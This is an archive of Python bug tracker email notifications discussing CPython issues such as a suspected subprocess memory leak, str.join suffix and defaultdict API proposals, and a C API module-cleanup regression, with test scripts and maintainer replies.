From report at bugs.python.org  Mon Sep 19 18:38:56 2016
From: report at bugs.python.org (Ned Deily)
Date: Mon, 19 Sep 2016 22:38:56 +0000
Subject: [issue28209] Exe or MSI unable to find Py3.5
In-Reply-To: <1474324486.65.0.502468498808.issue28209@psf.upfronthosting.co.za>
Message-ID: <1474324736.96.0.445391091101.issue28209@psf.upfronthosting.co.za>


Changes by Ned Deily <nad at python.org>:


----------
nosy: +paul.moore, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28209>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:54:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 22:54:14 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474325654.98.0.913731314351.issue28165@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I'm unable to reproduce any memory leak on subprocess itself:
---
import tracemalloc; tracemalloc.start()
import subprocess, gc

def func(loops) :
    for x in range(loops):
        proc = subprocess.Popen(['true'])
        with proc:
            proc.wait()

# warmup
func(10)

gc.collect();gc.collect();gc.collect()
print(tracemalloc.get_traced_memory()[1])

func(100)

gc.collect();gc.collect();gc.collect()
print(tracemalloc.get_traced_memory()[1])

gc.collect();gc.collect();gc.collect()
print(tracemalloc.get_traced_memory()[1])

func(100)

gc.collect();gc.collect();gc.collect()
print(tracemalloc.get_traced_memory()[1])
---

Output on Fedora 24 (Linux) and Python 3.5:
---
996450
996450
996450
996450
---

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 18:58:35 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 22:58:35 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474325915.5.0.0425436957273.issue28165@psf.upfronthosting.co.za>


STINNER Victor added the comment:

No memory leak if subprocess is spawned in a thread neither:
---
import tracemalloc; tracemalloc.start()
import subprocess, threading, time, gc

def spawn(event) :
    subprocess.check_output("true")
    gc.collect(), gc.collect(), gc.collect()
    event.set()

def func(loops):
    event = threading.Event()
    for x in range(loops):
        event.clear()
        timer = threading.Timer(0, spawn, (event,))
        timer.start()
        event.wait()

func(100)

gc.collect();gc.collect();gc.collect();gc.collect()
a = tracemalloc.get_traced_memory()[1]
print("first", a, "B")

loops = 1000
func(loops)

gc.collect();gc.collect();gc.collect();gc.collect()
b = tracemalloc.get_traced_memory()[1]
print("after", loops, "loops, mem:", b, "B")

d = (b-a) / loops
print("diff: %.1f B/loop" % d)

loops = 1000
func(loops)

gc.collect();gc.collect();gc.collect();gc.collect()
c = tracemalloc.get_traced_memory()[1]
print("after", loops, "loops, mem:", c, "B")

d = (c-b) / loops
print("diff2: %.1f B/loop" % d)
---

Output:
---
first 1013738 B
after 1000 loops, mem: 1014266 B
diff: 0.5 B/loop
after 1000 loops, mem: 1014318 B
diff2: 0.1 B/loop
---

Sorry, 0.5 byte/loop is not a memory leak :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 19:22:51 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Mon, 19 Sep 2016 23:22:51 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474285908.98.0.848210738985.issue28205@psf.upfronthosting.co.za>
Message-ID: <20160919232245.GE22471@ando.pearwood.info>


Steven D'Aprano added the comment:

>     lines = ''.join(substring + '\n' for substring in substrings)

Huh. There were three of us looking at this at work yesterday, and none 
of us thought of that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 19:25:10 2016
From: report at bugs.python.org (Steve Dower)
Date: Mon, 19 Sep 2016 23:25:10 +0000
Subject: [issue28209] Exe or MSI unable to find Py3.5
In-Reply-To: <1474324486.65.0.502468498808.issue28209@psf.upfronthosting.co.za>
Message-ID: <1474327510.58.0.928561751824.issue28209@psf.upfronthosting.co.za>


Steve Dower added the comment:

Looks like we forgot to update PC/bdist_wininst/install.c for the "3.5-32" sys.winver format. Guessing it'll find a 64-bit install just fine.

----------
components: +Windows
keywords: +3.5regression
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28209>
_______________________________________

From report at bugs.python.org  Mon Sep 19 19:28:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 19 Sep 2016 23:28:05 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474327685.91.0.975001900952.issue28205@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> '\n'.join(['first', 'second', 'third'])

Hum, the workaround is simple:

lines = ['first', 'second', 'third']
lines.append('')
assert '\n'.join(lines) == 'first\nsecond\nthird\n'

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Mon Sep 19 21:06:56 2016
From: report at bugs.python.org (Xavion)
Date: Tue, 20 Sep 2016 01:06:56 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474333616.45.0.735520636963.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

What about when you test it using the files I provided?  I didn't want you guys to have to write your own code.

Note that I was monitoring the memory externally (via good old 'ps').  This could make a difference to the outcome.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Mon Sep 19 21:16:49 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 20 Sep 2016 01:16:49 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474334209.0.0.266551590358.issue26351@psf.upfronthosting.co.za>


George Slavin added the comment:

I have a patch that checks for KeyboardInterrupt during builtin operations.  This allows sum, max, min, list, dict, set, and tuple calls to be interrupted when they are working on infinite iterators.

I've attached the patch, and a test I wrote to show that you can ctrl-c out of all the above calls.

This is my first attempt at a patch, so I would appreciate any feedback on what I need to fix to allow it to be submitted :)

----------
keywords: +patch
nosy: +gslavin
Added file: http://bugs.python.org/file44746/KeyboardInterrupt.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Mon Sep 19 21:18:28 2016
From: report at bugs.python.org (George Slavin)
Date: Tue, 20 Sep 2016 01:18:28 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474334308.21.0.811598454873.issue26351@psf.upfronthosting.co.za>


George Slavin added the comment:

I've attached the test for this patch (I couldn't figure out how to upload two files with one comment).

----------
Added file: http://bugs.python.org/file44747/test_sig_int_builtins.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Mon Sep 19 21:42:08 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 20 Sep 2016 01:42:08 +0000
Subject: [issue23372] defaultdict.fromkeys should accept a callable factory
In-Reply-To: <1422807584.64.0.426042157217.issue23372@psf.upfronthosting.co.za>
Message-ID: <1474335728.72.0.772143916322.issue23372@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

That's usual behavior for any class method. You can call them on an instance, but they don't have the access to it, only to its class. So transferring of factory would in fact not be possible. Of course,it's possible to make fromkeys an instance method, but please don't do that.

----------
nosy: +veky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23372>
_______________________________________

From report at bugs.python.org  Mon Sep 19 22:59:41 2016
From: report at bugs.python.org (Kesara Rathnayake)
Date: Tue, 20 Sep 2016 02:59:41 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1474340381.74.0.781096055832.issue6087@psf.upfronthosting.co.za>


Kesara Rathnayake added the comment:

fix-6087.diff passes on OSX (Python 3.6)

$ ./python.exe -m test test_distutils test_sysconfig -j3
Run tests in parallel using 3 child processes
0:00:01 [1/2] test_sysconfig passed
0:00:13 [2/2] test_distutils passed
All 2 tests OK.

Total duration: 14 sec
Tests result: SUCCESS

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6087>
_______________________________________

From report at bugs.python.org  Mon Sep 19 23:10:05 2016
From: report at bugs.python.org (Jack Liu)
Date: Tue, 20 Sep 2016 03:10:05 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474341005.85.0.490820848313.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

@eric.snow, Thank you for the replay. You understood right.

I run this module as __main__ module, so there is no other modules to reference this module. And as I debugged, the ref count of this module became 0 after calling PyDict_DelItemString, but global variable in this module was not released with Python 3.5.1. Is that memory leak? As I said, it worked on python 3.3. Is it a regression in python 3.5.1? Any workaround to resolve this problem? It's an urgency issue to me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Mon Sep 19 23:39:26 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 20 Sep 2016 03:39:26 +0000
Subject: [issue23372] defaultdict.fromkeys should accept a callable factory
In-Reply-To: <1422807584.64.0.426042157217.issue23372@psf.upfronthosting.co.za>
Message-ID: <1474342766.35.0.325244188932.issue23372@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

[Serhiy]
I'm inclined to reject this proposition. It serves very special use case.

[Silent Ghost]
Correct me if I'm wrong but this seem as a very unlikely use case

[Alec Nikolas Reiter]
Implicitly assigning the factory is a pretty good compromise, like I said fromkeys accepting the factory would be a nice convenience rather than correcting a major oversight.

-----

After thinking about the above, I'm disinclined to make the API modification.

The current way to do it is straight-forward and reads nicely:

    >>> d = defaultdict.fromkeys('abcdefg', somedefault)
    >>> d.default_factory = somefunc

Combining those into a single step is less readable and may incorrectly imply some sort of interaction between the factory function and initial population of keys with a constant default value.   Likewise, the possibility of implicitly guessing and assigning the factory function is contraindicated by the zen-of-python in at least two places.

Given the paucity of use cases, the potential for API confusion, and the ready availability of reasonable alternatives, I'm closing the feature request.  Thank for the suggestion though, it certainly seemed like something that deserved a little more thought.

----------
resolution:  -> rejected
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23372>
_______________________________________

From report at bugs.python.org  Mon Sep 19 23:55:33 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Tue, 20 Sep 2016 03:55:33 +0000
Subject: [issue28207] SQLite headers are not searched in custom locations
In-Reply-To: <1474313690.75.0.976333515942.issue28207@psf.upfronthosting.co.za>
Message-ID: <1474343733.19.0.217332168571.issue28207@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

Version 3.5.2 works for me:

sqlite: found /home/yen/usr/include/sqlite3.h
/home/yen/usr/include/sqlite3.h: version 3.14.2

How did you compile CPython? Could you paste commands you use?

----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28207>
_______________________________________

From report at bugs.python.org  Mon Sep 19 23:57:30 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 20 Sep 2016 03:57:30 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474343850.54.0.62094582029.issue26351@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

I think this needs more discussion on python-dev before going down this path.

In reality, we have many places that have "long running" C code when fed extreme arguments.  In practice, we almost never have a problem with these except for cute toy bug reports.   To "fix" this, we would need to alter all possible long running data consumers or alter all possible long running data producers.  This kind of change is hard to test, gums up the code, and hinders future maintainability for near zero benefit to ordinary users.

    min(range(100000000000))    # There a lots of places like this

The proposed patch is indelicate about the addition of signal checking.  It check on every single iteration right in the middle of most highly optimizied, tightest, most speed critical loops in Python, making every use pay a cost for something almost no one will ever benefit from.

----------
priority: normal -> low
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Tue Sep 20 00:00:49 2016
From: report at bugs.python.org (Soumya Sharma)
Date: Tue, 20 Sep 2016 04:00:49 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474344049.66.0.631390381537.issue28203@psf.upfronthosting.co.za>


Soumya Sharma added the comment:

I've signed the contributor agreement form. I think it said that it'll take a few days to process?
I've made the changes requested and am currently working on the tests. Will submit a new patch file containing all required changes soon.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 00:09:44 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 20 Sep 2016 04:09:44 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474344584.33.0.44413663762.issue28205@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

-1 for this API expansion.  It would be better to have a separate method than to change the root notion of what join() is all about.

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Tue Sep 20 00:53:46 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 20 Sep 2016 04:53:46 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474347226.29.0.767431313708.issue28205@psf.upfronthosting.co.za>


Changes by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
Removed message: http://bugs.python.org/msg277004

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Tue Sep 20 00:54:25 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Tue, 20 Sep 2016 04:54:25 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474284097.7.0.704735249593.issue28205@psf.upfronthosting.co.za>
Message-ID: <1474347265.55.0.153752537273.issue28205@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> There were three of us looking at this at work yesterday,
> and none of us thought of that.

How about adding an example to the docs and calling it a day.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:05:24 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 20 Sep 2016 05:05:24 +0000
Subject: [issue27482] heap-buffer-overflow on address 0x6250000078ff
In-Reply-To: <1468246905.12.0.769586892118.issue27482@psf.upfronthosting.co.za>
Message-ID: <1474347924.84.0.234964911738.issue27482@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

ASan is quiet on the POC now.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27482>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:18:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 20 Sep 2016 05:18:00 +0000
Subject: [issue28184] Trailing whitespace in C source code
In-Reply-To: <1474073035.4.0.752681458334.issue28184@psf.upfronthosting.co.za>
Message-ID: <20160920051757.19786.63009.05FE2B65@psf.io>


Roundup Robot added the comment:

New changeset f604bc6bb526 by Benjamin Peterson in branch '3.6':
merge 3.5 (#28184)
https://hg.python.org/cpython/rev/f604bc6bb526

New changeset 647b37ab5fbc by Benjamin Peterson in branch 'default':
merge 3.6 (closes #28184)
https://hg.python.org/cpython/rev/647b37ab5fbc

----------
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28184>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:23:22 2016
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Tue, 20 Sep 2016 05:23:22 +0000
Subject: [issue25478] Consider adding a normalize() method to
 collections.Counter()
In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za>
Message-ID: <1474349002.69.0.841757961973.issue25478@psf.upfronthosting.co.za>


Vedran ?a?i? added the comment:

Operator seems OK. After all, we can currently do c+c, which is kinda like c*2 (sequences behave this way generally, and it is a usual convention in mathematics too). And division by a number is just a multiplication by its reciprocal. But a dedicated normalize method? No. As Josh said, then you're forking the API.

The correct way is probably to have a "normalized view" of a Counter. But I don't know the best way to calculate it fast. I mean, I know it mathematically (cache the sum of values and update it on every Counter update) but I don't know whether it's Pythonic enough.

----------
nosy: +veky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25478>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:25:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 05:25:39 +0000
Subject: [issue28165] The 'subprocess' module leaks memory when called in
 certain ways
In-Reply-To: <1474333616.45.0.735520636963.issue28165@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZk2gGe12z74oxv3UBoiJ9eMYE5scvabmTA6Ha30dGgmA@mail.gmail.com>


STINNER Victor added the comment:

If tracemalloc doesn't show any leak but the RSS memory increases, it can
be memory fragmentation or memory alloctions not traced by tracemalloc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:48:15 2016
From: report at bugs.python.org (Antti Haapala)
Date: Tue, 20 Sep 2016 05:48:15 +0000
Subject: [issue28165] The 'subprocess' module leaks 4 kiB memory for each
 thread
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474350495.82.0.173957472714.issue28165@psf.upfronthosting.co.za>


Antti Haapala added the comment:

The title of the issue is still wrong. As I noted before the problem is not with subprocess leaking 4K memory *always*. The issue comes from the fact that subprocess seems to leak 4K memory per individual thread. The test code to use is thus

    def test():
        check_output("true")
        threading.Timer(1, test, ()).start()

    test()

which will invoke subprocess always in a new thread. Using subprocess in a loop, or using the timer as above without subprocess will not increase memory usage.

I have changed the title accordingly

----------
title: The 'subprocess' module leaks memory when called in certain ways -> The 'subprocess' module leaks 4 kiB memory for each thread

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 01:48:35 2016
From: report at bugs.python.org (Jack Liu)
Date: Tue, 20 Sep 2016 05:48:35 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474350515.81.0.126049565271.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

I wrote the test code as below. I also attached the files in attachment.
Python
=========================================================

class Simple:
     def __init__( self ):
         print('Simple__init__')
     def __del__( self ):
         print('Simple__del__')

simple = None

def run():
    global simple
    simple = Simple()

if __name__ == '__main__':
	run()
==============================================================

C++
=========================================================================

#include "stdafx.h"
#include <Python.h>
#include <string>
#include <iostream>
#include <fstream>
#include <codecvt>
#include <map>

using namespace std;

namespace {
	wstring readfile(const wchar_t *filename)
	{
		wifstream wifs;

		wifs.open(filename);
		//wifs.imbue(locale(wifs.getloc(), new codecvt_utf8<wchar_t, 0x10ffff, consume_header>()));
		wstring wstr((std::istreambuf_iterator<wchar_t>(wifs)),
			std::istreambuf_iterator<wchar_t>());
		return wstr;
	}

	string wstrtostr(const wstring& ws)
	{
		std::wstring_convert<std::codecvt_utf8<wchar_t>> converter;
		return converter.to_bytes(ws);
	}
}

int main()
{
	cout << "Input py file full path:" << endl;
	wstring filePath;
	wcin >> filePath;
	//filePath = L"L:\\Dev\\PyTest\\SimpleTest.py";

	string moduleName = "__main__";

	string script = wstrtostr(readfile(filePath.c_str()));
	if (script.empty())
	{
		cout << "Invalid python file path" << endl;
		return 1;
	}

	string sfileName = wstrtostr(filePath);

	// Initialize the Python Interpreter
	Py_Initialize();

	PyObject *py_module = PyImport_AddModule(moduleName.c_str());
	PyObject *py_dict = PyModule_GetDict(py_module);

	PyObject* res = nullptr;
	auto arena = PyArena_New();
	if (arena)
	{
		auto mod = PyParser_ASTFromString(script.c_str(), sfileName.c_str(), Py_file_input, nullptr, arena);
		if (mod)
		{
			auto co = PyAST_Compile(mod, sfileName.c_str(), nullptr, arena);
			if (co)
			{
				res = PyEval_EvalCode((PyObject*)(co), py_dict, py_dict);
				Py_DECREF(co);
			}
		}
		PyArena_Free(arena);
	}
	if (res)
	{
		Py_DECREF(res);
	}

	// Delete the module from sys.modules
	PyObject* modules = PyImport_GetModuleDict();
	cout << "PyDict_DelItemString" << endl;
	PyDict_DelItemString(modules, moduleName.c_str());

	// May run many scripts here

	// Finish the Python Interpreter
	cout << "Py_Finalize" << endl;
	Py_Finalize();

	return 0;
}
===================================================================

The expected output in console should be:
Simple__init__
PyDict_DelItemString
Simple__del__
Py_Finalize

I tested with Python 3.2.5, 3.3.5, 3.5.1 and 3.6.0 beta.
It worked as expected with Python 3.2.5 and 3.3.5, but did not work Python 3.5.1 and 3.6.0 beta.

On Python 3.5.1 and 3.6.0 beta, the output is:
Simple__init__
PyDict_DelItemString
Py_Finalize
Simple__del__
That means the Simple object is not released at PyDict_DelItemString, it's released at Py_Finalize.

So it it a regression bug since Python 3.5? I wish there is a solution to resolve memory leak issue.

----------
Added file: http://bugs.python.org/file44748/PyTest.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Tue Sep 20 02:12:23 2016
From: report at bugs.python.org (Xavion)
Date: Tue, 20 Sep 2016 06:12:23 +0000
Subject: [issue28165] The 'subprocess' module leaks 4 kiB memory for each
 thread
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474351943.51.0.691907605005.issue28165@psf.upfronthosting.co.za>


Xavion added the comment:

haypo: So, what is the result when you run "Test-2.py" and monitor the memory usage with "Test.sh"?

ztane: The code you've provided is the same as "Test-1.py".  You need to run "Test-2.py" in order to see the bug!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 02:22:53 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 20 Sep 2016 06:22:53 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474352573.58.0.216639241969.issue28203@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Thank you! I look forward to the new patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Tue Sep 20 02:27:52 2016
From: report at bugs.python.org (Jack Liu)
Date: Tue, 20 Sep 2016 06:27:52 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474352872.56.0.448632730531.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

I know there is a workaround to set the global variables to None at last in Python scripts. But my app just provide a framework for my customers to run python scripts. That means the workaround requires my customers to update their python scripts. That may make them unhappy :(. First, we need to confirm if it's a bug of Python 3.5. If it's a bug of Python 3.5, is there a workaround in my code C++ side to call Python C APIs to resolve the memory leak issue? If it's not a bug of Python 3.5, is there any mistake in my C++ code?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Tue Sep 20 03:43:53 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 20 Sep 2016 07:43:53 +0000
Subject: [issue28165] The 'subprocess' module leaks 4 kiB memory for each
 thread
In-Reply-To: <1473913875.21.0.186726929179.issue28165@psf.upfronthosting.co.za>
Message-ID: <1474357433.05.0.895180277395.issue28165@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Test-2.py has issues:

* it doesn't call Timer.join()
* it uses a weak synchronization between the main thread and the Timer thread: see msg276990 for an example using Event

If you use a better synchronization code, call timer.join() and call gc.collect(), the memory usage is very stable even after creating more than 100 000 threads + subprocesses.

Xavion: "As I noted before the problem is not with subprocess leaking 4K memory *always*. The issue comes from the fact that subprocess seems to leak 4K memory per individual thread."

I'm unable to reproduce a *leak*.

Test-3.py output:
----
497 thread+subprocess
VmRSS:	    9584 kB
986 thread+subprocess
VmRSS:	    9596 kB      <== after the warmup, the usage seems stable
1490 thread+subprocess
VmRSS:	    9596 kB
(...)
10361 thread+subprocess
VmRSS:	    9596 kB
(...)
30282 thread+subprocess
VmRSS:	    9596 kB
30695 thread+subprocess
VmRSS:	    9672 kB
31160 thread+subprocess
VmRSS:	    9684 kB      <=== memory usage decreases :-)
(...)
60768 thread+subprocess
VmRSS:	    9684 kB
^C
---

If you really want to say that something is wrong: I don't understand why we must call gc.collect() to keep the memory usage stable. But I guess that the GC is not always called for performance.

Without the GC it's not that bad:
---
1083 thread+subprocess
VmRSS:	    9764 kB
2097 thread+subprocess
VmRSS:	    9888 kB
3136 thread+subprocess
VmRSS:	    9888 kB
(...)
11750 thread+subprocess
VmRSS:	    9888 kB
12668 thread+subprocess
VmRSS:	    9940 kB
13705 thread+subprocess
VmRSS:	    9940 kB
(...)
70948 thread+subprocess
VmRSS:	    9940 kB
^C
---

There is no such "4k leak per function call".

I close the issue. It's a bug in your code, not in Python.

----------
resolution:  -> not a bug
status: open -> closed
Added file: http://bugs.python.org/file44749/Test-3.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28165>
_______________________________________

From report at bugs.python.org  Tue Sep 20 04:02:26 2016
From: report at bugs.python.org (Baptiste Mispelon)
Date: Tue, 20 Sep 2016 08:02:26 +0000
Subject: [issue24416] Return a namedtuple from date.isocalendar()
In-Reply-To: <1433853440.83.0.506944331138.issue24416@psf.upfronthosting.co.za>
Message-ID: <1474358546.78.0.610046249501.issue24416@psf.upfronthosting.co.za>


Baptiste Mispelon added the comment:

I updated the patch based on Raymond's feedback.

I don't know C at all and I tried to mimic the namedtuple usage of timemodule.c as much as I could (until the code compiled and the test suite passed).

I still have two questions:

* It seems that the Python implementation (Lib/datetime.py) is not tested when I run `./python -m test test_datetime` (I introduced a deliberate error in datetime.isocalendar() there but the test still succeeded). Is there a particular procedure to trigger those tests?

* I'm currently using the name `IsoCalendarDate` as suggested by user taleinat. However, shouldn't it be `ISOCalendarDate`?

Thanks.

----------
Added file: http://bugs.python.org/file44750/issue24416_5.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24416>
_______________________________________

From report at bugs.python.org  Tue Sep 20 04:43:54 2016
From: report at bugs.python.org (stephan)
Date: Tue, 20 Sep 2016 08:43:54 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
Message-ID: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>


New submission from stephan:

In python 2.7.12 I get an error if I do not pass
arguments, while in python 3.5.2 I do not get
the error (it fails silently).
Stumbled on this during my migration of my python 2.7 code to python 3.5 for django.

Here is the console output:

D:\util\python\test>py -3 test_argparse.py
3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AMD64)]
Use subparsers: True
Namespace(command=None)

D:\util\python\test>py -2 test_argparse.py
2.7.12 (v2.7.12:d33e0cf91556, Jun 27 2016, 15:19:22) [MSC v.1500 32 bit (Intel)]
Use subparsers: True
usage: test_argparse.py [-h] command ...
test_argparse.py: error: too few arguments

D:\util\python\test>

----------
files: test_argparse.py
messages: 277017
nosy: stephan
priority: normal
severity: normal
status: open
title: argparse with subcommands difference in python 2.7 / 3.5
type: behavior
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44751/test_argparse.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Tue Sep 20 04:57:26 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 20 Sep 2016 08:57:26 +0000
Subject: [issue28211] Wrong return value type in the doc of
 PyMapping_Keys/Values/Items
Message-ID: <1474361846.96.0.641386769432.issue28211@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

PyMapping_Keys/Values/Items can only return a list or tuple. Even in the case of a dict, it returns a list. But the doc tells a dictionary view will be returned in case of dict, which is wrong.

----------
assignee: docs at python
components: Documentation
files: mapping_doc.patch
keywords: patch
messages: 277018
nosy: docs at python, xiang.zhang
priority: normal
severity: normal
stage: patch review
